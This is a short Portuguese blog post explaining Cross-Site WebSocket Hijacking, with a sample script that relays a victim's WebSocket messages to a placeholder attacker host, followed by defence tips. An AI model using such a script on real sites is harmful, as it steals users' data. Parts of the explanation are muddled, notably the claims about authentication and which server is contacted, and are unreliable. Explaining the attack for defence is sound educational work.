O que é WebSocket?
O WebSocket é um protocolo de comunicação bidirecional que permite a interação entre um navegador web e um servidor web em tempo real. Ele oferece uma maneira rápida e eficiente de enviar e receber dados entre o cliente e o servidor, o que o torna ideal para aplicações web em tempo real, como jogos online e bate-papo.
No entanto, o WebSocket também é vulnerável a ataques de Cross-Site WebSocket Hijacking (CSWSH), uma técnica em que um atacante mal-intencionado sequestra a conexão WebSocket de um usuário para obter acesso não autorizado a informações confidenciais.
Como funciona o CSWSH?
O ataque CSWSH começa com um atacante mal-intencionado enganando um usuário para visitar um site controlado pelo atacante. O site pode ser projetado para se parecer com um site legítimo, como uma rede social ou um site de compras online.
Quando o usuário visita o site controlado pelo atacante, o código malicioso é executado no navegador do usuário e inicia uma conexão WebSocket com o servidor do atacante. Como o WebSocket não exige autenticação para iniciar uma conexão, o atacante pode facilmente sequestrar a conexão do usuário.
Uma vez que o atacante tenha sequestrado a conexão do usuário, ele pode enviar comandos maliciosos para o servidor usando a conexão WebSocket. Isso permite que o atacante acesse informações confidenciais, como cookies, credenciais de login e outros dados do usuário.
Exemplo de exploit hospedado no servidor de um atacante, que captura os dados recebidos do WebSocket para o atacante:
<script>
ws = new WebSocket('wss://site-vulneravel.com/messages');
ws.onopen = function start(event) {
ws.send("OLÁ, HACKADEMY");
}
ws.onmessage = function handleReply(event) {
fetch('https://site-atacante.com/?'+event.data, {mode: 'no-cors'});
}
ws.send("Algum texto enviado para o servidor");
</script>
Como se proteger contra o CSWSH?
Existem várias maneiras de se proteger contra ataques de CSWSH. Aqui estão algumas práticas recomendadas para manter seus usuários seguros:
- Use autenticação de usuário para conectar o WebSocket – A autenticação do usuário é uma das maneiras mais eficazes de evitar ataques de CSWSH. Exigir que o usuário faça login antes de estabelecer uma conexão WebSocket pode impedir que um atacante mal-intencionado sequestre a conexão.
- Use cookies seguros – Usar cookies seguros pode ajudar a proteger os usuários contra ataques de CSWSH. Os cookies seguros são cookies que só podem ser enviados por HTTPS e não podem ser acessados por scripts JavaScript. Isso impede que um atacante mal-intencionado acesse as informações do cookie do usuário.
- Use o cabeçalho “Origin” – O cabeçalho “Origin” é um cabeçalho HTTP que é usado para indicar a origem de uma solicitação. O uso do cabeçalho “Origin” pode ajudar a proteger contra ataques de CSWSH, pois o servidor pode verificar se a solicitação vem de um site confiável.
Espero que tenham gostado, até a próxima 😀